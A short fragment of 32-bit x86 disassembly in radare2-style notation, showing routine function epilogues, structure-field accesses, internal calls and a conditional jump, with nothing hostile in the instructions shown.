pop ebx
ret 4
lea edi, [esi + 4]
mov ecx, edi
call fcn.348bd6f1
cmp dword [esi + 0x1c], ebx
jne 0x348bd1ba
mov ecx, edi
call fcn.348bd6ff
mov eax, dword [esi + 0x24]
pop edi
pop esi
pop ebx
ret 4